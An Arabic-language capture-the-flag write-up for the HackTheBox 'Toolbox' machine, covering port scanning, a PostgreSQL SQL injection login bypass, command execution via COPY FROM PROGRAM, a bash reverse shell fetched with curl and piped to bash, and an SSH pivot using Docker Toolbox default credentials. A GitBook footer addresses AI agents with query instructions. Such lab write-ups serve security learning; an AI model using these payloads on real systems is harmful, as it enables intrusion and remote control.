> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md).

# شرح Toolbox HackTheBox

{% embed url="<https://app.hackthebox.com/machines/339>" %}

{% hint style="warning" %}
**المهارات:**

* حقن PostgreSQL (RCE)
* الارتكاز
* استغلال boot2docker (Docker-Toolbox)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/dcb3bf46b06cd554d0ce428f5856070cf5c8f907" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/ba68948d487af0fdabf9d68ae9f4b3988cabbfed" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.236 -oG allPorts
```

<figure><img src="/files/441a45b520f6dc9c99ef8b08148da83c8a5a29cb" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدام دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة.

<figure><img src="/files/35db1a4380d8ddc4f6167ac4401ea0a47e48de4f" alt="" width="563"><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.236 -oN targeted
```

<figure><img src="/files/580f592fc6639f6fbcd4b2910b99e56ed000d33d" alt=""><figcaption></figcaption></figure>

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف

<figure><img src="/files/3757f7d8a1d24e3a6a79e74824c1bce4c162eccf" alt="" width="563"><figcaption></figcaption></figure>

### **المنفذ 21 (FTP)**

يمكن الوصول إلى منفذ FTP باستخدام المستخدم `anonymous`. يوجد ملف يُدعى `docker-toolbox.exe`. قد يوفر هذا الملف أدلة حول تشغيل Docker المحتمل.

{% hint style="info" %}
Docker-Toolbox عبارة عن مجموعة من الأدوات المستخدمة لإدارة حاويات Docker على البيئات الأقدم أو غير التابعة لـ Docker Desktop.
{% endhint %}

<figure><img src="/files/15ea11c8480c0ee2da8407064eabb5775ac7c6e4" alt="" width="563"><figcaption></figcaption></figure>

### **المنفذ 443 (HTTPS)**

<figure><img src="/files/1b57fda528866522ddc7a09104595b9df1eeacde" alt=""><figcaption></figcaption></figure>

**المستخدمون المحتملون:**

* Christine Rooster
* Brandon Sharp
* Connor Hodson

<figure><img src="/files/340d3c7fdf051bbdb6607fafe216a231edb42622" alt=""><figcaption></figcaption></figure>

بعد التحقيق، يوفّر الموقع المستضاف لوحة إدارة يمكن الوصول إليها عبر `admin.megalogistic.com`.

<figure><img src="/files/15a5c9087c50ebb1ae951356d56f26f0d1976ab7" alt=""><figcaption></figcaption></figure>

## ثغرة حقن PostgreSQL:

{% hint style="info" %}
PostgreSQL هو نظام إدارة قواعد بيانات علائقي قوي ومفتوح المصدر يمكنه دعم أكثر أحمال البيانات تعقيدًا بأمان.
{% endhint %}

عند إرسال هذه البيانات الاعتمادية:

```sql
اسم المستخدم: '
كلمة المرور: '
```

يظهر خطأ SQL، ما يشير إلى وجود خلفية PostgreSQL تستخدم `pg_query`.

<figure><img src="/files/81bae6d64aefb6aa27fd15ca938e75ab2d25d5fb" alt=""><figcaption></figcaption></figure>

### **الاستغلال**

اختبر حمولة حقن كلاسيكية:

```vbnet
اسم المستخدم: ' OR 1=1-- -  
كلمة المرور: أي شيء
```

نحصل على وصول إلى لوحة إدارة Dashboard.

<figure><img src="/files/49a22eb6442f65a9cebb9c01e5e556cec4ffe4f7" alt="" width="563"><figcaption></figcaption></figure>

اعترض الاستعلامات باستخدام **Burp Suite** واستخدم موارد مثل **HackTricks** لتعديل عمليات الحقن.

<figure><img src="/files/0b0934b95376c2856ceac0f6979f23bae7924950" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection>" %}

#### لاختبار ما إذا كان الحقن يسمح بتنفيذ الأوامر، استخدم:

`;select pg_sleep(10);-- -`

إذا تأخر الرد 10 ثوانٍ، فإن الحقن قابل للاستخدام.

<figure><img src="/files/64406b25815fa7aca529507fd5fab77655f1e119" alt=""><figcaption></figcaption></figure>

### **تنفيذ الأوامر**

إليك مثالًا على كيفية الحصول على طلب عبر الإنترنت:

```sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
```

أنشئ `index.html` ملف يحتوي على:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
```

شغّل خادم HTTP:

```bash
python3 -m http.server 80
```

اضبط مستمعًا:

```bash
nc -nvlp 443
```

أرسل الحمولة:

```sql
username=';DROP TABLE IF EXISTS cmd_exec;-- -&password=d
username=';CREATE TABLE cmd_exec(cmd_output text);-- -&password=d
username=';COPY cmd_exec FROM PROGRAM 'curl http://10.10.14.3/ | bash';-- -&password=d
```

<figure><img src="/files/a9e4054a01a049cd0a4753cafcccfdc57d345e04" alt=""><figcaption></figcaption></figure>

#### **تثبيت الطرفية**

لجعل الصدفة تفاعلية ومريحة:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### ثبّت الغلاف لتعمل براحة أكبر. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## رفع الصلاحيات:

### الارتكاز عبر Docker

{% hint style="info" %}
خلال مرحلة الاستطلاع، حددنا أن جهاز Windows الخاص بنا لم يكن متاحًا مباشرة. ومع ذلك، تمكّنا من الاتصال بجهاز Windows موجود داخل حاوية Docker، بعنوان IP `172.17.0.2` و `172.17.0.1` البوابة. سنحاول الآن الارتكاز عبر هذه الحاوية لرفع صلاحياتنا.
{% endhint %}

<figure><img src="/files/325c7fa4c1ba34102bd283382c30d8e5f5ff4dfd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8ebfc5ce18cbcb837d173451133e52e01320cfe2" alt=""><figcaption></figcaption></figure>

### **التحقق من منفذ SSH**

أولًا، نحتاج إلى التحقق مما إذا كان منفذ SSH (22) مفتوحًا على بوابة Docker (172.17.0.1). نستخدم أمرًا بسيطًا لهذا الغرض:

```bash
echo ' ' > /dev/tcp/172.17.0.1/22 && echo "[+] SSH Open" || echo "[-] SSH Closed"
```

المنفذ 22 مفتوح، ما يعني أنه يمكننا محاولة الاتصال عبر SSH بالجهاز في الحاوية.

<figure><img src="/files/c67c1ace714aec2e52425dd4daf3503abf1870f6" alt=""><figcaption></figcaption></figure>

#### **سجّل الدخول باستخدام بيانات الاعتماد الافتراضية لـ Docker Toolbox**

المعرفات الافتراضية لـ Docker Toolbox هي:

* **المستخدم**: `docker`
* **كلمة المرور**: `tcuser`

نحاول الآن الاتصال بالحاوية عبر SSH باستخدام هذه المعلومات. وبمجرد الاتصال بالجهاز، نلاحظ أن لدينا وصولًا إلى الجذر في الحاوية مع المستخدم `docker`.

<figure><img src="/files/4a2841043aa258511f3e6b1c4928da860e44e5b7" alt=""><figcaption></figcaption></figure>

#### **استكشاف نظام الملفات**

في الدليل الجذر نجد مجلدًا يُدعى **c**، والذي يحتوي على مجلد فرعي **users**. داخل **users** يوجد **Desktop** مجلد يعود إلى المستخدم **Administrator**. قد يعني هذا أن المستخدم `docker` لديه صلاحيات كافية للوصول إلى البيانات الحساسة الخاصة بالمستخدم **Administrator**، وهو مسار جيد لرفع الصلاحيات.

<figure><img src="/files/3bbaf8a9a215f81b09ef7fd8603fc6a8c955997e" alt=""><figcaption></figcaption></figure>

### الراية user.txt :)

#### **بحث `user.txt` (راية المستخدم)**

سنبحث الآن عن `user.txt` الملف، الذي يُستخدم غالبًا للدلالة على وصول المستخدم الناجح إلى جهاز ما. لنستخدم الأمر التالي للبحث عن هذا الملف في جميع أنحاء نظام الملفات:

```bash
find / -name user.txt 2>/dev/null
```

<figure><img src="/files/f7850901a5a266edb4775203a79d1d3e8deb291a" alt=""><figcaption></figcaption></figure>

نعثر على **user.txt** الملف في دليل يمكن الوصول إليه، مما يمنحنا أول مؤشر على نجاح عمليتنا.

### العلم root.txt :)

بمجرد العثور على راية المستخدم، نبحث عن **root.txt** الملف، الذي يوجد عادةً في دليل المستخدم **Administrator**.

<figure><img src="/files/31efd49c7fd208fed51df2832d05a30d536cf233" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/3b0bf490f3ef14205c6cf465845dab42c23a6ac0" alt="" width="545"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
